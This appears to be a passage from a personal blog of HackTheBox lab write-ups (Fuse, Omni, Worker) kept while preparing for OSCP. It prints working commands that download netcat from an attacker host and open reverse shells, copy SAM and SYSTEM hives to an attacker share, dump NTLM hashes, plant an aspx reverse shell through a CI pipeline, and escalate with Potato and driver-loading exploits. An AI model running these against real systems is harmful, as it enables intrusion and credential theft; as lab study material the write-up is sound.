I checked the other findings first. If those went nowhere, I would try BloodHound.\nSeLoadDriverPrivilege is an interesting one. The two posts below explain it very well: the original article and a reproduction.\nhttps://cloud.tencent.com/developer/article/1180772\nhttps://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/\nIt also explained why svc-print could log in.\nhttps://github.com/TarlogicSecurity/EoPLoadDriver/\n~~There is a compiled version of eoploaddriver in the author\u0026rsquo;s issue: ~~https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2\n~~Project URL: ~~https://github.com/umiterkol/EoPLoadDriver_Release/releases\nThe struck-through section above refers to the original tool mentioned in the article. It needs to be used with a sys file and gives you a lot of flexibility.\nThe project below was also mentioned in the original article. You just need to package it as an EXE.\nhttps://github.com/tandasat/ExploitCapcom/\nIt pops open a cmd window with administrator privileges, but that obviously wasn\u0026rsquo;t what I wanted, so it only needed a small change.\nThis is where it gets called.\nJust replace it with whatever you want to execute. winPEASany had told me that the svc-print user\u0026rsquo;s directory was writable by everyone, so I chose that directory.\nAccording to the tutorial, I had to load it first, but it said I didn\u0026rsquo;t have the required privilege.\nI Googled the problem, and it was the classic case of insufficient privileges.\nRunning it directly produced this error. (The reason below is that Capcom.sys had not been loaded.)\nOnly at this point did I understand the full chain. The project above tells us to load Capcom.sys, and loading it requires the PoC tool. Once it has been loaded, we use the exploit above.\nThere was a precompiled build below, but unfortunately it kept failing for me, so I decided to compile it myself.\nPrecompiled project: https://github.com/umiterkol/EoPLoadDriver_Release/releases\nSource code: https://github.com/TarlogicSecurity/EoPLoadDriver/\nPress Ctrl + Alt + L to open Solution Explorer.\nThen just create a new source file.\nThe header file at the very top doesn\u0026rsquo;t matter, so delete it. Then switch to Release and build the solution, and you\u0026rsquo;re done.\nSure enough, the version I compiled myself worked without any issues. But then:\nMaybe I had misunderstood the result. The svc-print directory was writable in the context of the current user, but SYSTEM still didn\u0026rsquo;t have permission to access it. I decided to move everything to a public directory.\nThe test folder in the root directory was writable, so I put the files there.\nDone.\nThis box took me a huge amount of time. Its rating was only 3.5 stars, probably because the path was so convoluted: many things had to be repeated, and much of it wasn\u0026rsquo;t standard. Still, I think it deserves five stars. This box has a lot in common with Forest.\nForest is mainly a classic, conventional Active Directory pentest. After studying the material, I could go back to Forest and understand almost everything. This box, however, had practically nothing to do with the usual approach. It did a much better job of expanding into another side of the topic: remotely changing passwords with smbpasswd, learning a few more wordlist-generation flags for brute force, and dealing with domain-user passwords that kept changing. I could actually have written a Bash shell script to keep obtaining the new password, but I didn\u0026rsquo;t. I spent far too much time solving those three problems. I had to dig deeper one step at a time before I understood the logic behind them. With the password changes, for example, I only later learned that a scheduled task was constantly resetting the passwords. The brute force was also extremely slow, which is why I generally dislike brute force. I just don\u0026rsquo;t enjoy it, but it\u0026rsquo;s still something you need to use often.\nThe privilege-escalation section was new to me too. The blog authors understood the topic deeply enough that they could jump straight into using the technique, which left me completely confused at first and unsure how to exploit it. By the time I reached privilege escalation, my head was spinning. There was far too much to absorb between getting the shell and escalating privileges, and I tried a ridiculous number of things. After sleeping on it and coming back, though, the logic became much clearer.\nI\u0026rsquo;ll use both Forest and Fuse as review boxes later on.\nAt this point, I wanted to see how the scheduled task was being executed and also read a few other write-ups.\n1 schtasks /query The first one looked like the scheduled task that reset the passwords.\n1 schtasks /query /tn \u0026#34;Revert Password and Expiry\u0026#34; /fo LIST /v 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Folder: \\ HostName: FUSE TaskName: \\Revert Password and Expiry Next Run Time: 11/30/2024 7:44:00 PM Status: Ready Logon Mode: Interactive only Last Run Time: 11/30/2024 7:43:00 PM Last Result: 0 Author: N/A Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText \u0026#34;Fabricorp01\u0026#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: FABRICORP\\Administrator Delete Task If Not Rescheduled: Disabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: One Time Only, Minute Start Time: 12:00:00 AM Start Date: 6/10/2020 End Date: N/A Days: N/A Months: N/A Repeat: Every: 0 Hour(s), 1 Minute(s) Repeat: Until: Time: None Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled It ran once a minute and changed the passwords for bnielson and tlavel back to Fabricorp01, but the PowerShell command shown here looked incomplete.\n1 schtasks /query /tn \u0026#34;Revert Password and Expiry\u0026#34; /xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-16\u0026#34;?\u0026gt; \u0026lt;Task version=\u0026#34;1.2\u0026#34; xmlns=\u0026#34;http://schemas.microsoft.com/windows/2004/02/mit/task\u0026#34;\u0026gt; \u0026lt;RegistrationInfo\u0026gt; \u0026lt;URI\u0026gt;\\Revert Password and Expiry\u0026lt;/URI\u0026gt; \u0026lt;/RegistrationInfo\u0026gt; \u0026lt;Principals\u0026gt; \u0026lt;Principal id=\u0026#34;Author\u0026#34;\u0026gt; \u0026lt;UserId\u0026gt;S-1-5-21-2633719317-1471316042-3957863514-500\u0026lt;/UserId\u0026gt; \u0026lt;LogonType\u0026gt;InteractiveToken\u0026lt;/LogonType\u0026gt; \u0026lt;/Principal\u0026gt; \u0026lt;/Principals\u0026gt; \u0026lt;Settings\u0026gt; \u0026lt;DisallowStartIfOnBatteries\u0026gt;true\u0026lt;/DisallowStartIfOnBatteries\u0026gt; \u0026lt;StopIfGoingOnBatteries\u0026gt;true\u0026lt;/StopIfGoingOnBatteries\u0026gt; \u0026lt;MultipleInstancesPolicy\u0026gt;IgnoreNew\u0026lt;/MultipleInstancesPolicy\u0026gt; \u0026lt;IdleSettings\u0026gt; \u0026lt;Duration\u0026gt;PT10M\u0026lt;/Duration\u0026gt; \u0026lt;WaitTimeout\u0026gt;PT1H\u0026lt;/WaitTimeout\u0026gt; \u0026lt;StopOnIdleEnd\u0026gt;true\u0026lt;/StopOnIdleEnd\u0026gt; \u0026lt;RestartOnIdle\u0026gt;false\u0026lt;/RestartOnIdle\u0026gt; \u0026lt;/IdleSettings\u0026gt; \u0026lt;/Settings\u0026gt; \u0026lt;Triggers\u0026gt; \u0026lt;TimeTrigger\u0026gt; \u0026lt;StartBoundary\u0026gt;2020-06-10T00:00:00\u0026lt;/StartBoundary\u0026gt; \u0026lt;Repetition\u0026gt; \u0026lt;Interval\u0026gt;PT1M\u0026lt;/Interval\u0026gt; \u0026lt;/Repetition\u0026gt; \u0026lt;/TimeTrigger\u0026gt; \u0026lt;/Triggers\u0026gt; \u0026lt;Actions Context=\u0026#34;Author\u0026#34;\u0026gt; \u0026lt;Exec\u0026gt; \u0026lt;Command\u0026gt;powershell.exe\u0026lt;/Command\u0026gt; \u0026lt;Arguments\u0026gt;-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText \u0026#34;Fabricorp01\u0026#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText \u0026#34;Fabricorp01\u0026#34; -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText \u0026#34;Fabricorp01\u0026#34; -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;\u0026lt;/Arguments\u0026gt; \u0026lt;/Exec\u0026gt; \u0026lt;/Actions\u0026gt; \u0026lt;/Task\u0026gt; This output was complete. It reset the passwords and set Set-ADUser -ChangePasswordAtLogon:$true.\nThat\u0026rsquo;s why every login attempt kept saying the password had to be changed. Next, I looked at the overall approach taken in other write-ups.\nNo wonder the password kept reverting. The intention behind it was good.\nI read quite a few write-ups, and their basic approach was mostly the same. Only this person automated the process of obtaining the password, then ran whatever command they wanted at the bottom.\n16.Omni Information gathering:\nTrying RPC with a blank password:\n1 2 rpcclient -U \u0026#34;\u0026#34; -N 10.10.10.204 Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT WinRM on port 5985 was no good without credentials either, and it is generally used after getting a shell anyway.\nPort 8080 required authentication. I planned to figure out what framework it was running and then brute-force the directories.\nThere was a temporary redirect.\nThere was nothing much there, but I found a CSS file in the page source.\nhttp://10.10.10.204:8080/css/common.css\nNone of them contained anything useful, though.\nhttps://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0\nThis post suggested there might be a SQL Server web application behind it, but I could not find any similarities at all, so that was probably not the case.\n1 2 3 4 5 HTTP/1.1 401 Unauthorized Server: Microsoft-HTTPAPI/2.0 WWW-Authenticate: Basic realm=\u0026#34;Windows Device Portal\u0026#34; Date: Sun, 01 Dec 2024 20:32:22 GMT Content-Length: 0 The response told me that this application was Windows Device Portal, but I still found nothing useful and got stuck here for quite a while again.\nIt really did seem like there was nothing there, so I tried looking at ports 29817, 29819, and 29820.\nThe nmap results were the same as during my initial information gathering, without much to go on. The interesting part was that two ports responded.\nI had no idea what any of these services were, so all I could do was google their defaults.\nAs I dug deeper, I found an exploit.\nhttps://github.com/SafeBreach-Labs/SirepRAT\nIt was very convenient to use, too.\nNo problem—it worked.\nI spent a very long time investigating this part. The shell I generated with msfvenom could be written to disk, but executing it never gave me a callback. I kept thinking I had written it incorrectly, but apparently it simply could not connect back.\nThe command below revealed a directory to me.\n1 2 3 4 5 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd \u0026#34;C:\\Windows\\System32\\cmd.exe\u0026#34; --args \u0026#34; /c echo {{userprofile}}\u0026#34; \u0026lt;HResultResult | type: 1, payload length: 4, HResult: 0x0\u0026gt; \u0026lt;OutputStreamResult | type: 11, payload length: 30, payload peek: \u0026#39;b\u0026#39;C:\\\\Data\\\\Users\\\\DefaultAccount\\r\\n\u0026#39;\u0026#39;\u0026gt; \u0026lt;ErrorStreamResult | type: 12, payload length: 4, payload peek: \u0026#39;b\u0026#39;\\x00\\x00\\x00\\x00\u0026#39;\u0026#39;\u0026gt; The C:\\Data\\Users\\DefaultAccount directory was writable. I uploaded a lot of files there and checked them with dir; everything looked fine.\n1 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd \u0026#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#34; --args \u0026#34; dir C:\\\\Data\\\\Users\\\\DefaultAccount\\\\\u0026#34; --v Execution still failed, though. I tried a number of PowerShell payloads and none worked. You can see an nc64.exe above; that was the only thing that worked.\n1 2 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd \u0026#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#34; --args \u0026#34; iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\\\Data\\\\Users\\\\DefaultAccount\\nc64.exe\u0026#34; python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd \u0026#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u0026#34; --args \u0026#34; C:\\\\Data\\\\Users\\\\DefaultAccount\\\\nc64.exe 10.10.16.2 6666 -e C:\\Windows\\System32\\cmd.exe\u0026#34; --v These two commands solved my problem nicely.\nI finally got a shell. There were no flags anywhere under Users.\nStrangely, there seemed to be almost nothing in here. Was I inside a container? Or a virtual machine? Either way, it was an isolated environment.\nSo was I currently on the physical machine, while the data directory inside it was actually the virtual machine?\nI went through almost every directory. There were basically only a few applications, and they all seemed to be default applications. I decided to extract SAM and see if it contained any passwords. The SAM file here did not appear to be in use—I could access it directly with type—so I could simply copy it.\n1 2 3 4 smbserver.py kali . -smb2support C:\\Data\\Windows\\System32\\config\u0026gt;copy .\\SAM \\\\10.10.16.2\\kali\\SAM C:\\Data\\Windows\\System32\\config\u0026gt;copy .\\SYSTEM \\\\10.10.16.2\\kali\\SYSTEM C:\\Data\\Windows\\System32\\config\u0026gt;copy .\\SECURITY \\\\10.10.16.2\\kali\\SECURITY https://blog.csdn.net/feigerger/article/details/131603338\nUnfortunately, that did not work. This was already a dead end. I had looked through nearly every file in the data folder, and I googled any unfamiliar ones to find out what services they belonged to, but found nothing. I started looking through the local directories and found PhoneProvisioner_OEM, but there was nothing useful in it.\nI eventually found the passwords here, inside a hidden file.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\r.bat @echo off :LOOP for /F \u0026#34;skip=6\u0026#34; %%i in (\u0026#39;net localgroup \u0026#34;administrators\u0026#34;\u0026#39;) do net localgroup \u0026#34;administrators\u0026#34; %%i /delete net user app mesh5143 net user administrator _1nt3rn37ofTh1nGz ping -n 3 127.0.0.1 cls GOTO :LOOP :EXIT Fortunately, this password worked for authentication on port 80.\nI could not find any way to exploit it online.\nAfter looking more closely, I realized it seemed to expose all the information from this Windows 10 machine here. During validation, I confirmed that the password really was the computer\u0026rsquo;s administrator password, not a virtual one. I also picked up a Wi-Fi password along the way. Once I had that, I planned to upload lazagne.exe and check for locally stored passwords.\nI went back to searching for hidden files, but still found nothing. I tried a great many approaches, and every result told me this was not the right path. I did not know which step I had gotten wrong, but at this point I was completely stuck, so I had no choice but to read a write-up.\nAfter reading through the intended path, I found that my approach to obtaining the administrator password was indeed fine; it simply required going through files endlessly. The author listed three methods.\nThe first method extracted SAM and SYSTEM from the registry, whereas I had extracted the local files, which was why I got nothing.\nThe second method involved creating an administrator user, but the user would be removed. The cleanup script was the r.bat shown above.\nThe third method was to find r.bat and read the passwords. The passwords obtained with the first two methods were NTLM-encrypted and needed to be cracked.\nLogging into the web application on port 8080 was no problem. My mistake was not searching carefully enough through the applications inside. I could only tell that it looked like a web-based resource-management application. I relied too heavily on google: when google returned no RCE results, I assumed it might be a rabbit hole. I had missed things while browsing through it.\nSo Windows had connected the local device from earlier to this WDP. I needed to get a shell on that device through WDP.\nFound it—the place where commands could be executed.\n1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\\\Data\\\\Users\\\\DefaultAccount\\\\nc64.exe 10.10.16.14 7777 -e C:\\Windows\\System32\\cmd.exe I could not see any difference in privileges at all, but it somehow got me in.\nOld shell:\nNew shell:\nEverything under the data directory was now accessible.\nJust like root.txt, it was encrypted.\nAfter reading a lot of blog posts, I started trying to decrypt it.\nThe post that helped me the most was https://stackoverflow.com/questions/63639876/powershell-password-decrypt.\nAt first, I kept running into the problem shown above. Later I realized the data had already been read; I was simply displaying it incorrectly. I finished reading the post above.\nInitially, my output always looked exactly like the command-line output shown there. But farther down, the author mentioned an interface, and that was the key. So all I needed was the following:\n1 2 $creds = Import-Clixml -Path C:\\data\\users\\administrator\\root.txt $creds.GetNetworkCredential().password The prerequisite for this technique was having the privileges of the user who created the encrypted content. If user.txt in the app folder had been created by administrator, my current user would have been able to decrypt it. Unfortunately, invoking it produced an error and it could not be decrypted. This was where dpapi was needed. dpapi allows passwords to be used across users and computers, so I could obtain the relevant key and try to decrypt it. For example, because I was administrator, I could decrypt root.txt. But decrypting user.txt under app produced an error because I was not the app user.\nSo now I needed the app user\u0026rsquo;s credentials. I really should have used the method below earlier; it is a fairly standard approach.\n1 2 3 4 5 6 7 reg save HKLM\\SYSTEM system.hiv reg save HKLM\\SAM sam.hiv smbserver.py kali . -smb2support copy .\\sam.hiv \\\\10.10.16.14\\kali\\sam.hiv copy .\\system.hiv \\\\10.10.16.14\\kali\\system.hiv 1 2 3 4 5 6 7 8 9 10 11 12 13 python D:\\python3.9\\Scripts\\secretsdump.py -sam sam.hiv -system system.hiv LOCAL Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65::: sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea::: DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958::: app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95::: [*] Cleaning up... 1 app:mesh5143 It seemed that runas could not switch users, and even though the target had port 5985 open, I could not use evil-winrm either.\nEven when I got it working, it had no effect, because these two environments did not seem to be the same. I still had to go through the web service on port 8080 to reach that NFS-mounted directory. I still did not understand how this environment was implemented. Was it a USB device or a remote service? The data window was mounted from somewhere, anyway. I would need to study it properly once I was finished.\n1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\\nc64.exe I uploaded another copy of nc to the app directory because app did not have permission to access the previous one.\n1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\\\Data\\\\Users\\\\app\\\\nc64.exe 10.10.16.14 8888 -e C:\\Windows\\System32\\cmd.exe Getting the flag:\n1 2 $creds = Import-Clixml -Path C:\\Data\\Users\\app\\user.txt $creds.GetNetworkCredential().password Done.\nThere were still a few unanswered questions, though.\nFirst: I remembered that when decrypting, importing that user\u0026rsquo;s credentials might also let me decrypt it directly, without switching users.\nSecond: runas was the only method I knew for switching users, and it was also the only method I could find on google. I wanted to see whether there was a more convenient way.\nThird: what exactly did this environment look like?\nStarting with the first question, I googled for a long time without finding an answer, so I decided to ask claude.\nThe second question:\n1 2 3 4 5 6 7 8 9 10 psexec -u app -p password powershell $username = \u0026#34;app\u0026#34; $password = ConvertTo-SecureString \u0026#34;password\u0026#34; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) # Method 1: Invoke-Command Invoke-Command -ScriptBlock { COMMAND_TO_RUN } -Credential $cred # Method 2: Start-Process Start-Process powershell -Credential $cred -ArgumentList \u0026#34;COMMAND_TO_RUN\u0026#34; The third question:\nI have to say, that really was impressive.\nAt this point, the logic was crystal clear.\n1 2 3 4 5 IoT Core is the management layer controlling access to the USB device, which is the data directory Port 8080 exposes the IoT Core management interface, the Windows Device Portal mentioned earlier The main application runs on port 28080 Credentials recovered through the web interface on port 8080 are required to access the data directory Attacker --\u0026gt; port 8080 management interface --\u0026gt; USB device --\u0026gt; data directory I have to say, this box had a lot of character. It revolved around Windows-specific services and expanded on them really well.\n17.Worker I got stuck while trying to get a shell, so this is for practice only.\nInformation gathering:\nThere was nothing on port 80, so I left a brute-force scan running in the background.\nPort 3690 was running an svnserve service.\nhttps://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server\nThat page has payloads for svnserve, and it even uses this same machine as its example.\n1 2 3 4 svn ls svn://10.10.10.203 #list svn log svn://10.10.10.203 #Commit history svn checkout svn://10.10.10.203 #Download the repository svn up -r 2 #Go to revision 2 inside the checkout folder I added the domain to hosts.\nI got the source code, but it was just a static front-end site. I figured it was probably meant to give me a hint. At http://dimension.worker.htb/#work, I found a bunch of subdomains.\nI opened them and added them to hosts, while continuing to brute-force subdomains.\nThe ones I added to hosts all seemed to be static front-end pages from http://html5up.net/. JSFinder.py did not find anything for these domains either.\n1 wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H \u0026#34;Host: FUZZ.worker.htb\u0026#34; --hh 703 Looks like brute forcing was still necessary, though I generally do not like it because it makes everything lag.\nFirst, I used cewl to generate a wordlist from all the domains, then took a look at the request.\nIt used the NTLM protocol, which looked a little troublesome, but two other protocols were shown on the right. It seemed like they could be used for authentication, so I Googled it.\nhttps://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication\nSo I could construct the request using Basic authentication.\nIf I used this wordlist for both usernames and passwords, that would be 1800*1800 combinations—far too many. So I decided to look for a few likely usernames instead.\nThe framework turned out to be Azure DevOps Server, so I planned to use that clue to find usernames.\nMeanwhile, ffuf was still running and gave me another result.\nOf course, there was still nothing there. I started brute forcing the Azure DevOps Server. I could not find a default username, so I tried a few simple ones.\nI also tried brute forcing directories on the service. At the same time, I kept svnserve in mind. I still was not entirely sure what it did, since I had only used commands provided by exploits before. It could retrieve the source code of the default page; if it could also retrieve the source for devops.worker.htb, I felt I would be very close to the target.\nI had not read carefully enough. When I went back to svnserve, I noticed that it had actually mentioned this.\nI did not know what use the static front-end source was. After looking more carefully at the commands, though, I realized I might have missed something obvious.\n1 2 3 4 svn ls svn://10.10.10.203 #list svn log svn://10.10.10.203 #Commit history svn checkout svn://10.10.10.203 #Download the repository svn up -r 2 #Go to revision 2 inside the checkout folder There was very little relevant information available. My understanding was that an SVN repository is somewhat like one on GitHub: changes can be committed many times, and I can retrieve the results of those updates and update my local repository. At least, that was what my own testing seemed to show.\n1 svn log svn://10.10.10.203 There was an r1-r5 entry near the end, so I looked up the following command.\n1 svn up -r 2 It is actually short for update: it updates the selected target revision in the local copy.\nI had just downloaded the first revision. I started updating to revisions 2, 3, 4, and 5 to see what was different.\nmoved.txt had been deleted, and a new deploy.ps1 had been added.\nNow I understood. Just like on the previous machine, PowerShell had encrypted the password.\nSo the plaintext credentials were still:\n1 nathen:wendel98 Unfortunately, neither WinRM nor devops.worker.htb would accept those credentials.\nI switched to the third revision.\nIt had only removed the password, which made sense if the code was going to be open sourced.\nThe fourth revision:\nIt simply deleted deploy.ps1.\nThe fifth revision:\nAt this point, the key was clearly the second revision, where the password appeared. But I still did not understand why authentication kept failing.\nYes, something was wrong with the password. On the previous machine, when I learned about PowerShell encryption, the plaintext was the actual password. The point of encrypting it was simply to make it easier to use later, so using the plaintext should have worked. Yet both port 80 and WinRM told me authentication had failed.\nPowerShell is a weak spot for me, so I started trying to understand what that PowerShell script was doing.\nHere I learned that pwd was lightly encrypted and then passed to Credential. That credential was then used to execute the following:\n1 2 3 4 5 6 7 Start-Process powershell.exe -Credential $Credential -ArgumentList (\u0026#34;-file $args\u0026#34;) Start-Process starts a new process to run the following command powershell.exe -Credential $Credential uses the credentials defined above ArgumentList passes arguments The final command is powershell.exe -file Copy-Site.ps1 -file passes in Copy-Site.ps1 and then executes it. That made everything click. So, to obtain the password, I currently needed to run:\n1 2 3 $user = \u0026#34;nathen\u0026#34; $plain = \u0026#34;wendel98\u0026#34; $pwd = ($plain | ConvertTo-SecureString) Before I started studying the logic of this ps1 file, I had tried running it on my Windows 11 host. It threw an error, so I ignored it at the time. Now I needed to revisit it.\nI could not get this encryption logic to run. I found another method at https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text, but this was the result:\nThe encryption was only there to create the credential and served no other purpose. That really was the password. At least I now had an account, so I tried brute forcing it with the wordlist I still had.\nI planned to brute force it with both Burp Suite and crackmapexec.\nThen I continued brute forcing directories on the site. It found a /bin directory that returned 404, but nothing else.\nThe brute-force attempts against WinRM and port 80 were also useless. There was still another possibility: wendel98 ended in numbers, so I could generate a new wordlist based on that password.\n1 crunch 8 8 -t wendel%% \u0026gt; new_password.txt That wordlist did not work either. I thought I would not need to read a write-up for this machine, but I was stuck again.\nI did not expect to get stuck here.\nI opened a fresh Google Chrome window and finally got in, because for some reason Firefox would not let me log in either.\nI could not find any Azure DevOps vulnerabilities online. Maybe I needed to download the source code and find something in it? But it was just a static front-end page, with no useful information to extract.\nThere was an interesting-looking file here, but it was empty when I opened it. I tried checking its history.\nStill nothing. The only idea I had at that point was that uploaded files might be parsed normally, but that was not actually the case. For example, I could not even get the current index.html parsed. I pulled the project locally, but opening it revealed nothing either. I had no good ideas, so I tried Googling.\nUnfortunately, I could not find any way to exploit it. I changed my approach: if Azure DevOps could deploy aspx or asp files, then a successful deployment could also get me a shell.\nI found an official Microsoft blog post. My understanding was that using Azure DevOps to manage an application after deploying it was fine, but I could not deploy directly on Azure DevOps itself.\nI started reading a write-up. Even after looking at the next step, I still could not understand how it had been deployed, since this was my first time working with this platform.\nSo everything below is just for learning, because this was beyond what I understood at the time. Previously, I would look up an application\u0026rsquo;s RCE process, quickly learn how the application worked, and then get RCE. There was nothing like that here. Instead, I had to learn how to deploy something, exactly like on the previous machine. I was learning from scratch again, and these applications each have their own unique workflows. This was something I had to learn, difficult or not. I would combine Claude with other people\u0026rsquo;s write-ups until I understood it completely, and record my notes below.\nhttps://www.youtube.com/watch?v=scEDHsr3APg\nThis video clearly explains how DevOps CI/CD works.\nhttps://www.redhat.com/zh/topics/devops/what-is-ci-cd\nThis one goes into a little more detail.\nCI means that after I make and merge a change to an application, it is deployed automatically. This is similar to what I had just seen in Azure DevOps.\nThere were lots of projects here, which I had already discovered while brute forcing subdomains. Under pipelines:\nI could clearly see the deployment configuration file. This file defined how the project should be published. Its target directory was w:\\sites\u0026amp;#20179;管名称.worker.htb, while the project repository was named alpha.\nSo what is CD? It is automated delivery and deployment. As mentioned above, CI automatically merges a project, a little like a push on GitHub. When something is pushed to the main branch, it automatically checks what was added and removed. The difference here is that the process is automated. After CI completes automatically, CD automatically deploys the result—the website we can see.\nWhen you submit new code or changes The Pipeline runs automatically The CopyFiles task copies the files to the corresponding directory The IIS server automatically recognizes that directory as a new website At this point, the theory behind the approach was clear.\nCreate a new project.\nCreate a code repository, then initialize it or import existing code.\nCreate a Pipeline and select the code source, which can simply be the repository we just created. Select \u0026ldquo;Starter pipeline\u0026rdquo; or an existing template.\nConfigure the Pipeline yaml, which is the configuration file shown above.\nSave the Pipeline settings, then use Run Pipeline for the first deployment.\nFrom then on, whenever a branch is pushed to master or main, the Pipeline runs automatically and deploys the website.\nThis was also a little like GitHub Actions. Here is the blog post I used as a reference:\nhttps://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html\nNow that I understood the principle, it was time to try it for real. I was not very comfortable with git commands. I had tried pushing projects many times before and eventually succeeded, but I still was not very fluent with the commands. This machine was a good chance to learn them.\nMy plan was to do it once from the command line and once through the web GUI.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # Clone the alpha project locally, add a file, and push it back git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha # Cloning into \u0026#39;alpha\u0026#39;... # Username for \u0026#39;http://devops.worker.htb\u0026#39;: nathen # Password for \u0026#39;http://nathen@devops.worker.htb\u0026#39;: # remote: Azure Repos # remote: Found 54 objects to send. (51 ms) # Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done. # This time, instead of generating a shell with msfvenom, I will use another approach # https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com I plan to use this # Place shell.aspx in the alpha project # Stage the new file in Git git add shell.aspx # Commit the change git commit -m \u0026#34;add shell.aspx\u0026#34; # Push it git push origin main It failed, saying I did not have permission to push to master. This is a common security measure. By following what other people did, I later learned about another mechanism:\npull request\nThat completed the attack chain. I could not push directly to master and use the pipeline to publish and deploy the project. I needed to create a new branch, then use the pull requests mechanism to request that it be merged into master. Once the shell.aspx I created appeared in master, it could be published automatically.\n1 2 3 4 # Create a local branch git checkout -b branch2 # Create the remote branch while pushing git push --set-upstream origin branch2 It already existed. I originally wanted to complete the entire process from the command line, so I searched for a command-line method for creating a pull request. There did not seem to be such a command, though, so I had to finish through the web interface. That was convenient enough anyway.\nJust click create.\nHere, we needed to add a reviewer and a work item.\nAdding myself as the reviewer and attaching a work item was enough.\nAfter clicking complete merge, it performed the merge.\nOnce the merge finished, I could see that the shell.aspx I created had been uploaded.\nIt was accessible. Next, I tried creating a branch through the web interface. Creating a branch this way was much easier, so I will not spell it out here.\nIn the end, I got a shell.\nTime to escalate privileges.\nI could use a Potato exploit for privilege escalation.\nI tried several, and only this one worked. The public directory was writable, so I did everything there.\nhttps://github.com/bugch3ck/SharpEfsPotato\n1 SharpEfsPotato.exe -p C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -a \u0026#34; whoami | Set-Content C:\\Users\\Public\\w.log\u0026#34; No problem. I tried getting a reverse shell.\n1 SharpEfsPotato.exe -p C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -a \u0026#34; C:\\Users\\Public\\nc64.exe 10.10.16.14 7777 -e C:\\Windows\\System32\\cmd.exe\u0026#34; Done.\nThis machine was really interesting and taught me more about working with git. I had uploaded things to GitHub before, but had only picked up a little along the way. This machine expanded on that and taught me about SVN, Azure DevOps, and git workflows. It did a great job of broadening the scope. Still, I had to read write-ups twice while working on it. The first time, I could not log in; the second time, I had no idea what this thing even was. I was completely lost, read the write-up closely, and asked AI for help. None of that is allowed in the OSCP exam. I am not sure whether the exam will throw an application at me that I have never encountered at all, but what I can do is fully learn its logic afterward through write-ups, Google, and AI. I still need to train myself to quickly study and understand an application the first time I see it. Before the Omni and Worker machines, applications usually had a dedicated RCE process, and plenty of people had published RCE workflows for each one. But these two recent machines, Omni and Worker, were different. They were simply normal services. Appending terms like exploit, RCE, or reverse shell to the application name did not lead me to what I needed.\nOne thing worth mentioning is that accounts used by services like IIS and MSSQL 